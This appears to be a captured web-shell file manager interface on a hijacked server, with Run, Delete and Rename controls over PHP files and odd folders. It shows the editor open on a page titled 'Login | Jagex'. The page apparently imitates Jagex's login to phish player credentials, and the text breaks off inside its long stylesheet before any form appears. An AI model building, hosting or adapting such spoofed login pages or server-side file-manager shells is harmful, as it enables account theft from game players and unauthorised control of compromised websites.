at path:
ROOT
/
index.html
run:
R
W
Run
.well-known
DIR
2024-01-07 13:10:08
R
W
Run
0115d
DIR
2026-08-18 00:46:25
R
W
Run
56517d
DIR
2026-08-18 00:46:20
R
W
Run
ProminentEscrow
DIR
2026-10-23 02:34:46
R
W
Run
assets
DIR
2026-10-26 23:16:44
R
W
Run
vergi
DIR
2026-10-23 02:34:45
R
W
Run
wp-includes
DIR
2026-08-18 01:21:23
R
W
Run
.htaccess
233 By
2026-10-29 07:55:46
R
W
Run
Delete
Rename
assets.zip
1.23 MB
2026-10-29 18:31:59
R
W
Run
Delete
Rename
chosen.php
122.65 KB
2026-10-29 07:55:48
R
W
Run
Delete
Rename
index.html
155.33 KB
2026-10-29 18:32:55
R
W
Run
Delete
Rename
simple.php
15.05 KB
2026-10-29 07:55:46
R
W
Run
Delete
Rename
error_log
up
📄
index.html
Save
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="minimum-scale=1,initial-scale=1,width=device-width,shrink-to-fit=no"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Login | Jagex</title><style>@import url(https://use.typekit.net/lkn6vut.css);</style><style>@import url(https://fonts.googleapis.com/css2?family=Sofia+Sans:ital,wght@0,1..900;1,1..900&display=swap);</style><style>@import url(https://use.typekit.net/lkn6vut.css);</style><style>@import url(https://fonts.googleapis.com/css2?family=Sofia+Sans:ital,wght@0,1..900;1,1..900&display=swap);</style><style>._base-input_5qozh_2{-webkit-appearance:none;-moz-appearance:none;appearance:none;box-sizing:border-box;background:var(--surface-sunken-primary);border:1px solid var(--border-default);border-radius:var(--size-100-rem);font-family:var(--font-family-sofia);font-size:var(--typography-body-m-size);line-height:var(--typography-body-m-line-height);letter-spacing:var(--typography-body-m-tracking);color:var(--text-primary);outline:none;width:100%;transition:border-color .2s cubic-bezier(0,0,.2,1)} ._base-input_5qozh_2:disabled{opacity:.5;cursor:not-allowed} ._base-input_5qozh_2:-webkit-autofill{transition:background-color 600000s,color 600000s;box-shadow:none!important;-webkit-text-fill-color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-internal-autofill-selected{transition:background-color 600000s,color 600000s;box-shadow:none!important;-webkit-text-fill-color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-webkit-autofill:hover{transition:background-color 600000s,color 600000s;box-shadow:none!important;-webkit-text-fill-color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-webkit-autofill:focus{transition:background-color 600000s,color 600000s;box-shadow:none!important;-webkit-text-fill-color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-internal-autofill-selected:hover{transition:background-color 600000s,color 600000s;box-shadow:none!important;-webkit-text-fill-color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-internal-autofill-selected:focus{transition:background-color 600000s,color 600000s;box-shadow:none!important;-webkit-text-fill-color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-webkit-autofill{transition:background-color 600000s,color 600000s;box-shadow:none!important;color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-webkit-autofill:hover{transition:background-color 600000s,color 600000s;box-shadow:none!important;color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:-webkit-autofill:focus{transition:background-color 600000s,color 600000s;box-shadow:none!important;color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:autofill{transition:background-color 600000s,color 600000s;box-shadow:none!important;color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:autofill:hover{transition:background-color 600000s,color 600000s;box-shadow:none!important;color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:autofill:focus{transition:background-color 600000s,color 600000s;box-shadow:none!important;color:var(--text-primary)!important;background-color:transparent!important} ._base-input_5qozh_2:hover:not(:-webkit-any(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover)} ._base-input_5qozh_2:hover:not(:-moz-any(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover)} ._base-input_5qozh_2:hover:not(:is(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover)} ._base-input_5qozh_2:active:not(:-webkit-any(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._base-input_5qozh_2:active:not(:-moz-any(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._base-input_5qozh_2:active:not(:is(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._base-input_5qozh_2:focus-visible:not(:-webkit-any(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._base-input_5qozh_2:focus-visible:not(:-moz-any(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._base-input_5qozh_2:focus-visible:not(:is(:disabled,._is-invalid_5qozh_44)){border-color:var(--border-hover);outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._is-invalid_5qozh_44{border-color:var(--border-status-error-default);color:var(--text-status-on-error-secondary)} ._is-invalid_5qozh_44:focus-visible{border-color:var(--border-status-error-default);outline:2px solid var(--border-status-error-hover-input);outline-offset:2px} ._is-invalid_5qozh_44:hover:not(:disabled){border-color:var(--border-status-error-hover-input)} ._panel_1aghp_1{box-sizing:border-box;background:linear-gradient(180deg,var(--silver-500) 0%,var(--silver-600) 63.58%);z-index:1;width:100vw;min-height:100vh;padding-bottom:var(--size-700-rem);justify-content:center;align-items:center;margin-left:auto;margin-right:auto;display:flex;box-shadow:0 4px 24px rgba(0,0,0,.25)} ._content_1aghp_15{overflow-wrap:break-word;padding-left:var(--size-400-rem);padding-right:var(--size-400-rem);padding-top:var(--size-500-rem);text-align:center;box-sizing:border-box;flex-direction:column;flex:1;width:100%;min-height:100vh;display:flex} @media (min-width:608px){._panel_1aghp_1{max-width:30rem;min-height:unset;border:1px solid;border-image-source:linear-gradient(339deg,var(--silver-450) 16.45%,var(--brand-brown) 31.76%,var(--brand-gold) 58.03%);border-image-slice:1}._content_1aghp_15{min-height:unset;padding-left:var(--size-800-rem);padding-right:var(--size-800-rem);padding-top:0}} @media (min-width:768px){._panel_1aghp_1{width:30.5rem}._content_1aghp_15{padding-left:var(--size-800-rem);padding-right:var(--size-800-rem)}} @media (min-width:1025px){._panel_1aghp_1{width:33rem}} @media (min-width:1440px){._panel_1aghp_1{width:36rem}} ._button-container_18bpm_1{-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer;background:0 0;border:none;outline:none;justify-content:center;align-items:center;text-decoration:none;display:inline-flex;position:relative} ._button-full-width_18bpm_14{box-sizing:border-box;width:100%;display:flex} ._button-container_18bpm_1:focus-visible{outline:none} ._button-functional-container_efmzs_1{min-width:200px;min-height:3.75rem;padding:0 var(--size-600-rem)} ._button-functional-label_efmzs_7{z-index:4;white-space:nowrap;pointer-events:none;color:var(--neutral-black);font-weight:400} ._button-functional-primary_efmzs_15:before{content:"";z-index:1;background-image:var(--asset-distressed);background-size:var(--background-texture-distressed-background-size);background-repeat:var(--background-texture-distressed-background-repeat);mix-blend-mode:var(--background-texture-distressed-mix-blend-mode);opacity:var(--background-texture-distressed-opacity);position:absolute;top:0;bottom:0;left:0;right:0} ._button-functional-primary_efmzs_15{z-index:2;pointer-events:none;clip-path:polygon(22px 0%,0% 50%,22px 100%,calc(100% - 22px) 100%,100% 50%,calc(100% - 22px) 0%);background:var(--background-cta-primary-default);position:absolute;top:2px;bottom:2px;left:2px;right:2px} ._button-functional-container_efmzs_1:not([disabled]):hover ._button-functional-primary_efmzs_15{background:var(--background-cta-primary-hover)} ._button-functional-container_efmzs_1:not([disabled]):focus-visible ._button-functional-primary_efmzs_15{background:var(--background-cta-primary-hover)} ._button-functional-container_efmzs_1:not([disabled]):active ._button-functional-primary_efmzs_15{background:var(--background-cta-primary-active)} ._button-functional-container_efmzs_1:not([data-isLoading="true"])[disabled]{opacity:.5;cursor:not-allowed;pointer-events:none} ._button-functional-container_efmzs_1[data-isLoading="true"]{cursor:progress} ._button-functional-container_efmzs_1[data-isLoading="true"] ._button-functional-label_efmzs_7{visibility:hidden} ._button-functional-ring_efmzs_66{z-index:3;pointer-events:none;opacity:0;display:flex;position:absolute;top:-3px;bottom:-3px;left:-5px;right:-5px} ._button-functional-container_efmzs_1:not([disabled]):focus-visible ._button-functional-ring_efmzs_66{opacity:1} ._button-functional-ring_efmzs_66 path,._button-functional-ring_efmzs_66 line{fill:none;stroke:var(--gold-500);stroke-width:2.5px;vector-effect:non-scaling-stroke} ._button-functional-ring_efmzs_66 line{stroke-linecap:square} ._button-functional-ring-cap_efmzs_91{stroke-linecap:round;width:26px;height:100%;top:-3px;bottom:-3px;left:-3px;right:-3px} ._button-functional-ring-middle_efmzs_98{flex:1;height:100%;margin:0 1.2px} ._button-functional-label-secondary_efmzs_104{color:var(--text-action)} ._button-functional-secondary_efmzs_108{z-index:2;pointer-events:none;clip-path:polygon(22px 0%,0% 50%,22px 100%,calc(100% - 22px) 100%,100% 50%,calc(100% - 22px) 0%);background:var(--brand-gold);position:absolute;top:2px;bottom:2px;left:2px;right:2px} ._button-functional-secondary_efmzs_108:before{content:"";z-index:2;pointer-events:none;clip-path:polygon(22px 1px,1px 50%,22px calc(100% - 1px),calc(100% - 22px) calc(100% - 1px),calc(100% - 1px) 50%,calc(100% - 22px) 1px);background:var(--background-cta-secondary-default);position:absolute;top:0;bottom:0;left:0;right:0} ._button-functional-secondary_efmzs_108:after{content:"";z-index:3;pointer-events:none;clip-path:polygon(22px 1px,1px 50%,22px calc(100% - 1px),calc(100% - 22px) calc(100% - 1px),calc(100% - 1px) 50%,calc(100% - 22px) 1px);background-image:var(--asset-distressed);background-size:var(--background-texture-distressed-background-size);background-repeat:var(--background-texture-distressed-background-repeat);mix-blend-mode:var(--background-texture-distressed-mix-blend-mode);opacity:var(--background-texture-distressed-opacity);position:absolute;top:0;bottom:0;left:0;right:0} ._button-functional-container_efmzs_1:not([disabled]):active ._button-functional-secondary_efmzs_108:before{background:var(--silver-500)} ._button-functional-container_efmzs_1:not([disabled]):hover ._button-functional-secondary_efmzs_108{background:var(--border-hover)} ._button-functional-container_efmzs_1:not([disabled]):focus-visible ._button-functional-secondary_efmzs_108{background:var(--border-hover)} ._button-functional-container_efmzs_1:not(:-webkit-any([disabled],:active)):hover ._button-functional-label-secondary_efmzs_104{color:var(--border-hover)} ._button-functional-container_efmzs_1:not(:-moz-any([disabled],:active)):hover ._button-functional-label-secondary_efmzs_104{color:var(--border-hover)} ._button-functional-container_efmzs_1:not(:is([disabled],:active)):hover ._button-functional-label-secondary_efmzs_104{color:var(--border-hover)} ._button-functional-container_efmzs_1:not(:-webkit-any([disabled],:active)):focus-visible ._button-functional-label-secondary_efmzs_104{color:var(--border-hover)} ._button-functional-container_efmzs_1:not(:-moz-any([disabled],:active)):focus-visible ._button-functional-label-secondary_efmzs_104{color:var(--border-hover)} ._button-functional-container_efmzs_1:not(:is([disabled],:active)):focus-visible ._button-functional-label-secondary_efmzs_104{color:var(--border-hover)} ._button-functional-container_efmzs_1:not([disabled]):active ._button-functional-secondary_efmzs_108{background:var(--brand-gold)} @keyframes _spinner-small_gqfgx_1{0%{stroke-dasharray:0 100;stroke-dashoffset:0}50%{stroke-dasharray:100 100;stroke-dashoffset:0}to{stroke-dasharray:100 100;stroke-dashoffset:-100px}} @keyframes _spinner-medium_gqfgx_1{0%{stroke-dasharray:0 125;stroke-dashoffset:0}50%{stroke-dasharray:125 125;stroke-dashoffset:0}to{stroke-dasharray:125 125;stroke-dashoffset:-125px}} ._root_gqfgx_35{aspect-ratio:1;justify-content:center;align-items:center;display:flex} ._size-small_gqfgx_42{height:var(--size-600-rem);width:var(--size-600-rem)} ._size-medium_gqfgx_47{height:var(--size-700-rem);width:var(--size-700-rem)} ._loader-svg_gqfgx_52{aspect-ratio:1;cursor:wait;fill:transparent;stroke-width:6px;width:100%;height:100%;display:block;overflow:visible;transform:rotate(-90deg)} ._track_gqfgx_64{stroke:var(--surface-paper-elevation-2);stroke-width:5px} ._spinner_gqfgx_69{stroke-linecap:round;stroke:var(--neutral-white)} ._size-small_gqfgx_42 ._spinner_gqfgx_69{animation:2s infinite _spinner-small_gqfgx_1} ._size-medium_gqfgx_47 ._spinner_gqfgx_69{animation:2s infinite _spinner-medium_gqfgx_1} ._inline-button_1g0l3_1{cursor:pointer;background:0 0;border:none;padding:0} ._inline-button-primary_1g0l3_8{text-decoration:underline} ._inline-button-secondary_1g0l3_12{text-decoration:none} ._inline-button-secondary_1g0l3_12:hover{text-decoration:underline} ._root_1d2ez_1{color:var(--gold-300);text-underline-offset:3px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;text-decoration-thickness:1px} ._root_1d2ez_1:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._root_1d2ez_1:hover:not([aria-disabled=true]){color:var(--gold-50)} ._root_1d2ez_1:focus-visible:not([aria-disabled=true]){color:var(--gold-50)} ._root_1d2ez_1[aria-disabled=true]{color:var(--silver-400);cursor:not-allowed} ._root_1d2ez_1[aria-disabled=true]:focus-visible{outline:none} ._root_12xgn_1{box-sizing:border-box;--corner-color:var(--brand-gold);min-width:0;max-width:100%;display:inline-flex;position:relative} ._content_12xgn_11{z-index:1;box-sizing:border-box;gap:var(--size-300-rem);align-items:center;min-width:0;max-width:100%;display:inline-flex;position:relative} ._avatar_12xgn_22{box-sizing:border-box;background:var(--gradient-gold-vertical-up);border-radius:50%;flex-shrink:0;justify-content:center;align-items:center;display:inline-flex;overflow:hidden;box-shadow:0 1px 2px rgba(0,0,0,.35)} ._name_12xgn_34{text-overflow:ellipsis;white-space:nowrap;min-width:0;max-width:100%;color:var(--text-highlight);margin:0;overflow:hidden} ._corner_12xgn_44{width:var(--size-700-rem);height:var(--size-700-rem);background:var(--corner-color);-webkit-mask-image:var(--asset-corner);-webkit-mask-image:var(--asset-corner);mask-image:var(--asset-corner);position:absolute;-webkit-mask-position:50%;mask-position:50%;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat} ._corner-top-left_12xgn_55{--corner-color:var(--brand-gold);top:0;left:0;transform:scaleX(-1)} ._corner-top-right_12xgn_63{--corner-color:var(--brand-gold);top:0;right:0;transform:scaleX(1)} ._corner-bottom-right_12xgn_71{--corner-color:var(--brand-brown);bottom:0;right:0;transform:scaleY(-1)} ._corner-bottom-left_12xgn_79{--corner-color:var(--brand-brown);bottom:0;left:0;transform:scale(-1)} ._elaborate-large_12xgn_87,._elaborate-small_12xgn_88{background:var(--surface-background-3);display:flex;position:relative} ._elaborate-large_12xgn_87:before,._elaborate-small_12xgn_88:before{content:"";box-sizing:border-box;border:var(--size-025-rem) solid transparent;border-image-source:var(--gradient-gold-vertical-up);pointer-events:none;border-image-slice:1;position:absolute;top:0;bottom:0;left:0;right:0} ._elaborate-small_12xgn_88 ._corner_12xgn_44{width:var(--size-500-rem);height:var(--size-500-rem);background:var(--corner-color);-webkit-mask-image:var(--asset-corner);-webkit-mask-image:var(--asset-corner);mask-image:var(--asset-corner);position:absolute;-webkit-mask-position:50%;mask-position:50%;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat} ._elaborate-small_12xgn_88{padding:var(--size-500-rem)} ._elaborate-large_12xgn_87{padding:var(--size-700-rem)} ._elaborate-large_12xgn_87,._elaborate-small_12xgn_88,._large_12xgn_127{justify-content:center;align-items:center} ._elaborate-large_12xgn_87 ._content_12xgn_11,._large_12xgn_127 ._content_12xgn_11{flex-direction:column;justify-content:center} ._elaborate-small_12xgn_88 ._content_12xgn_11,._small_12xgn_139 ._content_12xgn_11{flex-direction:row} ._elaborate-small_12xgn_88 ._content_12xgn_11{flex:0 auto;justify-content:center} ._small_12xgn_139 ._content_12xgn_11{flex:auto} ._elaborate-large_12xgn_87 ._avatar_12xgn_22,._large_12xgn_127 ._avatar_12xgn_22{width:var(--size-1300-rem);height:var(--size-1300-rem);aspect-ratio:1;gap:10px;padding:3px 10px} ._elaborate-large_12xgn_87 ._avatar_12xgn_22>*,._large_12xgn_127 ._avatar_12xgn_22>*{width:var(--size-1100-rem);height:var(--size-1100-rem);max-width:var(--size-1100-rem);max-height:var(--size-1100-rem)} ._elaborate-small_12xgn_88 ._avatar_12xgn_22,._small_12xgn_139 ._avatar_12xgn_22{width:var(--size-700-rem);height:var(--size-700-rem)} ._elaborate-small_12xgn_88 ._avatar_12xgn_22>*,._small_12xgn_139 ._avatar_12xgn_22>*{width:var(--size-600-rem);height:var(--size-600-rem);max-width:var(--size-600-rem);max-height:var(--size-600-rem)} ._elaborate-large_12xgn_87 ._name_12xgn_34,._large_12xgn_127 ._name_12xgn_34{text-align:center} ._elaborate-small_12xgn_88 ._name_12xgn_34{text-align:center;flex:0 auto} ._small_12xgn_139 ._name_12xgn_34{text-align:left;flex:auto} ._elaborate-large_12xgn_87 ._content_12xgn_11{flex:1 0 0;align-self:stretch} ._typography-gradient_jl75w_1{background-image:var(--gradient-gold-vertical-up);-webkit-text-fill-color:transparent;-webkit-background-clip:text;background-clip:text} ._typography-brand_jl75w_7{color:var(--text-brand)} ._typography-primary_jl75w_11{color:var(--text-primary)} ._typography-secondary_jl75w_15{color:var(--text-secondary)} ._root_zsgw1_1{cursor:pointer;align-items:flex-start;gap:.5rem;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;display:inline-flex;position:relative} ._root_zsgw1_1:has(._input_zsgw1_10:disabled){opacity:.5;cursor:not-allowed} ._input_zsgw1_10{cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;height:var(--size-500-rem);width:var(--size-500-rem);border:1px solid var(--border-default);border-radius:var(--size-025-rem);background:var(--surface-sunken-primary);flex-shrink:0;margin-top:-3px} ._input_zsgw1_10:disabled{cursor:not-allowed} ._input_zsgw1_10[type=checkbox]:checked{background:url("assets/asset_c5ebe3ff.svg"),linear-gradient(180deg,var(--green-100) 0%,var(--green-400) 100%);border:1px solid var(--silver-600);border-radius:var(--size-025-rem);background-position:50%;background-repeat:no-repeat;background-size:16px,100%} ._input_zsgw1_10:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._input_zsgw1_10:hover:not(:-webkit-any(:disabled,:checked)){border:1px solid var(--border-hover)} ._input_zsgw1_10:hover:not(:-moz-any(:disabled,:checked)){border:1px solid var(--border-hover)} ._input_zsgw1_10:hover:not(:is(:disabled,:checked)){border:1px solid var(--border-hover)} :root{--typography-display-font:var(--font-family-trajan);--typography-display-case:uppercase;--typography-display-tracking:.03em;--typography-display-size:2.5rem;--typography-display-line-height:3rem;--typography-h1-font:var(--font-family-trajan);--typography-h1-case:uppercase;--typography-h1-tracking:.03em;--typography-h1-size:2rem;--typography-h1-line-height:2.5rem;--typography-h2-primary-font:var(--font-family-trajan);--typography-h2-primary-case:uppercase;--typography-h2-primary-tracking:.03em;--typography-h2-primary-size:1.5rem;--typography-h2-primary-line-height:2rem;--typography-h3-primary-font:var(--font-family-trajan);--typography-h3-primary-case:uppercase;--typography-h3-primary-tracking:.03em;--typography-h3-primary-size:1.25rem;--typography-h3-primary-line-height:1.5rem;--typography-h4-primary-font:var(--font-family-trajan);--typography-h4-primary-case:uppercase;--typography-h4-primary-tracking:.015em;--typography-h4-primary-size:1.5rem;--typography-h4-primary-line-height:1.75rem;--typography-h5-primary-font:var(--font-family-trajan);--typography-h5-primary-case:uppercase;--typography-h5-primary-tracking:.015em;--typography-h5-primary-size:1rem;--typography-h5-primary-line-height:1.25rem;--typography-h2-secondary-font:var(--font-family-sofia);--typography-h2-secondary-case:none;--typography-h2-secondary-tracking:.015em;--typography-h2-secondary-size:1.5rem;--typography-h2-secondary-line-height:2rem;--typography-h3-secondary-font:var(--font-family-sofia);--typography-h3-secondary-case:none;--typography-h3-secondary-tracking:.015em;--typography-h3-secondary-size:1.25rem;--typography-h3-secondary-line-height:1.5rem;--typography-h4-secondary-font:var(--font-family-sofia);--typography-h4-secondary-case:none;--typography-h4-secondary-tracking:.03em;--typography-h4-secondary-size:1.5rem;--typography-h4-secondary-line-height:1.75rem;--typography-h5-secondary-font:var(--font-family-sofia);--typography-h5-secondary-case:none;--typography-h5-secondary-tracking:.015em;--typography-h5-secondary-size:1rem;--typography-h5-secondary-line-height:1.25rem;--typography-body-l-font:var(--font-family-sofia);--typography-body-l-case:none;--typography-body-l-tracking:normal;--typography-body-l-size:1.25rem;--typography-body-l-line-height:1.5rem;--typography-body-m-font:var(--font-family-sofia);--typography-body-m-case:none;--typography-body-m-tracking:normal;--typography-body-m-size:1.125rem;--typography-body-m-line-height:1.5rem;--typography-body-s-font:var(--font-family-sofia);--typography-body-s-case:none;--typography-body-s-tracking:normal;--typography-body-s-size:1rem;--typography-body-s-line-height:1.25rem;--typography-body-xs-font:var(--font-family-sofia);--typography-body-xs-case:none;--typography-body-xs-tracking:normal;--typography-body-xs-size:.875rem;--typography-body-xs-line-height:1.125rem;--typography-link-xl-font:var(--font-family-sofia);--typography-link-xl-case:none;--typography-link-xl-tracking:.015em;--typography-link-xl-size:1.5rem;--typography-link-xl-line-height:2rem;--typography-link-l-font:var(--font-family-sofia);--typography-link-l-case:none;--typography-link-l-tracking:.015em;--typography-link-l-size:1.25rem;--typography-link-l-line-height:1.5rem;--typography-link-m-font:var(--font-family-sofia);--typography-link-m-case:none;--typography-link-m-tracking:.015em;--typography-link-m-size:1.125rem;--typography-link-m-line-height:1.5rem;--typography-link-s-font:var(--font-family-sofia);--typography-link-s-case:none;--typography-link-s-tracking:.015em;--typography-link-s-size:1rem;--typography-link-s-line-height:1.25rem;--typography-link-xs-font:var(--font-family-sofia);--typography-link-xs-case:none;--typography-link-xs-tracking:.015em;--typography-link-xs-size:.875rem;--typography-link-xs-line-height:1.125rem;--typography-button-l-font:var(--font-family-trajan);--typography-button-l-case:uppercase;--typography-button-l-tracking:.03em;--typography-button-l-size:2rem;--typography-button-l-line-height:2rem;--typography-button-md-font:var(--font-family-sofia);--typography-button-md-case:none;--typography-button-md-tracking:.03em;--typography-button-md-size:1.5rem;--typography-button-md-line-height:1.5rem;--typography-label-text-font:var(--font-family-sofia);--typography-label-text-case:none;--typography-label-text-tracking:normal;--typography-label-text-size:1rem;--typography-label-text-line-height:1rem} @media (min-width:480px){:root{--typography-display-size:2.5rem;--typography-display-line-height:3rem}} @media (min-width:768px){:root{--typography-display-size:3.5rem;--typography-display-line-height:4rem}} @media (min-width:1025px){:root{--typography-display-size:4rem;--typography-display-line-height:4.5rem}} @media (min-width:1440px){:root{--typography-display-size:4rem;--typography-display-line-height:4.5rem}} @media (min-width:480px){:root{--typography-h1-size:2rem;--typography-h1-line-height:2.5rem}} @media (min-width:768px){:root{--typography-h1-size:2.5rem;--typography-h1-line-height:3rem}} @media (min-width:1025px){:root{--typography-h1-size:3rem;--typography-h1-line-height:3.5rem}} @media (min-width:1440px){:root{--typography-h1-size:3rem;--typography-h1-line-height:3.5rem}} @media (min-width:480px){:root{--typography-h2-primary-size:1.5rem;--typography-h2-primary-line-height:2rem}} @media (min-width:768px){:root{--typography-h2-primary-size:2rem;--typography-h2-primary-line-height:2.5rem}} @media (min-width:1025px){:root{--typography-h2-primary-size:2.5rem;--typography-h2-primary-line-height:3rem}} @media (min-width:1440px){:root{--typography-h2-primary-size:2.5rem;--typography-h2-primary-line-height:3rem}} @media (min-width:480px){:root{--typography-h3-primary-size:1.25rem;--typography-h3-primary-line-height:1.5rem}} @media (min-width:768px){:root{--typography-h3-primary-size:2rem;--typography-h3-primary-line-height:2.5rem}} @media (min-width:1025px){:root{--typography-h3-primary-size:2rem;--typography-h3-primary-line-height:2.5rem}} @media (min-width:1440px){:root{--typography-h3-primary-size:2rem;--typography-h3-primary-line-height:2.5rem}} @media (min-width:480px){:root{--typography-h4-primary-size:1.5rem;--typography-h4-primary-line-height:1.75rem}} @media (min-width:768px){:root{--typography-h4-primary-size:1.5rem;--typography-h4-primary-line-height:1.75rem}} @media (min-width:1025px){:root{--typography-h4-primary-size:1.5rem;--typography-h4-primary-line-height:1.75rem}} @media (min-width:1440px){:root{--typography-h4-primary-size:1.5rem;--typography-h4-primary-line-height:1.75rem}} @media (min-width:480px){:root{--typography-h5-primary-size:1rem;--typography-h5-primary-line-height:1.25rem}} @media (min-width:768px){:root{--typography-h5-primary-size:1.125rem;--typography-h5-primary-line-height:1.5rem}} @media (min-width:1025px){:root{--typography-h5-primary-size:1.25rem;--typography-h5-primary-line-height:1.5rem}} @media (min-width:1440px){:root{--typography-h5-primary-size:1.25rem;--typography-h5-primary-line-height:1.5rem}} @media (min-width:480px){:root{--typography-h2-secondary-size:1.5rem;--typography-h2-secondary-line-height:2rem}} @media (min-width:768px){:root{--typography-h2-secondary-size:2rem;--typography-h2-secondary-line-height:2.5rem}} @media (min-width:1025px){:root{--typography-h2-secondary-size:2.5rem;--typography-h2-secondary-line-height:3rem}} @media (min-width:1440px){:root{--typography-h2-secondary-size:2.5rem;--typography-h2-secondary-line-height:3rem}} @media (min-width:480px){:root{--typography-h3-secondary-size:1.25rem;--typography-h3-secondary-line-height:1.5rem}} @media (min-width:768px){:root{--typography-h3-secondary-size:2rem;--typography-h3-secondary-line-height:2.5rem}} @media (min-width:1025px){:root{--typography-h3-secondary-size:2rem;--typography-h3-secondary-line-height:2.5rem}} @media (min-width:1440px){:root{--typography-h3-secondary-size:2rem;--typography-h3-secondary-line-height:2.5rem}} @media (min-width:480px){:root{--typography-h4-secondary-size:1.5rem;--typography-h4-secondary-line-height:1.75rem}} @media (min-width:768px){:root{--typography-h4-secondary-size:1.5rem;--typography-h4-secondary-line-height:1.75rem}} @media (min-width:1025px){:root{--typography-h4-secondary-size:1.5rem;--typography-h4-secondary-line-height:1.75rem}} @media (min-width:1440px){:root{--typography-h4-secondary-size:1.5rem;--typography-h4-secondary-line-height:1.75rem}} @media (min-width:480px){:root{--typography-h5-secondary-size:1rem;--typography-h5-secondary-line-height:1.25rem}} @media (min-width:768px){:root{--typography-h5-secondary-size:1.125rem;--typography-h5-secondary-line-height:1.5rem}} @media (min-width:1025px){:root{--typography-h5-secondary-size:1.25rem;--typography-h5-secondary-line-height:1.5rem}} @media (min-width:1440px){:root{--typography-h5-secondary-size:1.25rem;--typography-h5-secondary-line-height:1.5rem}} ._divider-3_19sau_1{justify-content:center;align-items:center;width:100%;display:flex} ._line-3_19sau_8{background:var(--gold-200);flex-grow:1;height:1px} ._diamond-3_19sau_14{background:var(--gradient-gold-vertical-up);z-index:2;flex-shrink:0;width:9px;height:9px;margin:0 -1px;-webkit-mask-image:url("assets/asset_a932192f.svg");mask-image:url("assets/asset_a932192f.svg");-webkit-mask-position:50%;mask-position:50%;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat} ._star-3_19sau_27{background:var(--gradient-gold-vertical-up);z-index:2;flex-shrink:0;width:17px;height:17px;margin:0 -1px;-webkit-mask-image:url("assets/asset_0c6b5291.svg");mask-image:url("assets/asset_0c6b5291.svg");-webkit-mask-position:50%;mask-position:50%;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat} ._divider_6mwpu_1{justify-content:center;align-items:center;width:100%;display:flex} ._line_6mwpu_8{background:var(--gold-200);width:100%;height:1px} ._divider-b_azvlb_1{z-index:1;justify-content:center;align-items:flex-start;width:100%;height:26px;display:flex;overflow:hidden} ._line-b_azvlb_11{flex-grow:1;height:9px;position:relative} ._line-b_azvlb_11:before,._line-b_azvlb_11:after{content:"";background:var(--brand-brown);display:block;position:absolute;left:0;right:0} ._line-b_azvlb_11:before{height:3px;top:0} ._line-b_azvlb_11:after{height:1px;bottom:0} ._ornament-b_azvlb_37{z-index:2;background:var(--gradient-gold-horizontal-centre);flex-shrink:0;width:306px;height:26px;margin:0 -2px;position:relative;-webkit-mask-image:url("assets/asset_9f98404c.svg");mask-image:url("assets/asset_9f98404c.svg");-webkit-mask-position:50%;mask-position:50%;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat} ._root_1yvmr_3{-webkit-user-select:none;-moz-user-select:none;user-select:none;color:transparent;background:var(--mask-icon-image);min-height:var(--mask-icon-size,var(--size-500-rem));min-width:var(--mask-icon-size,var(--size-500-rem));width:var(--mask-icon-size,var(--size-500-rem));height:var(--mask-icon-size,var(--size-500-rem));background-position:50%;background-repeat:no-repeat;background-size:contain;justify-content:center;align-items:center;display:inline-flex;overflow:hidden} ._flat_1yvmr_20{background:var(--mask-icon-color,white);-webkit-mask:var(--mask-icon-image);-webkit-mask:var(--mask-icon-image);mask:var(--mask-icon-image);-webkit-mask-position:50%;mask-position:50%;-webkit-mask-size:100% 100%;mask-size:100% 100%;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat} 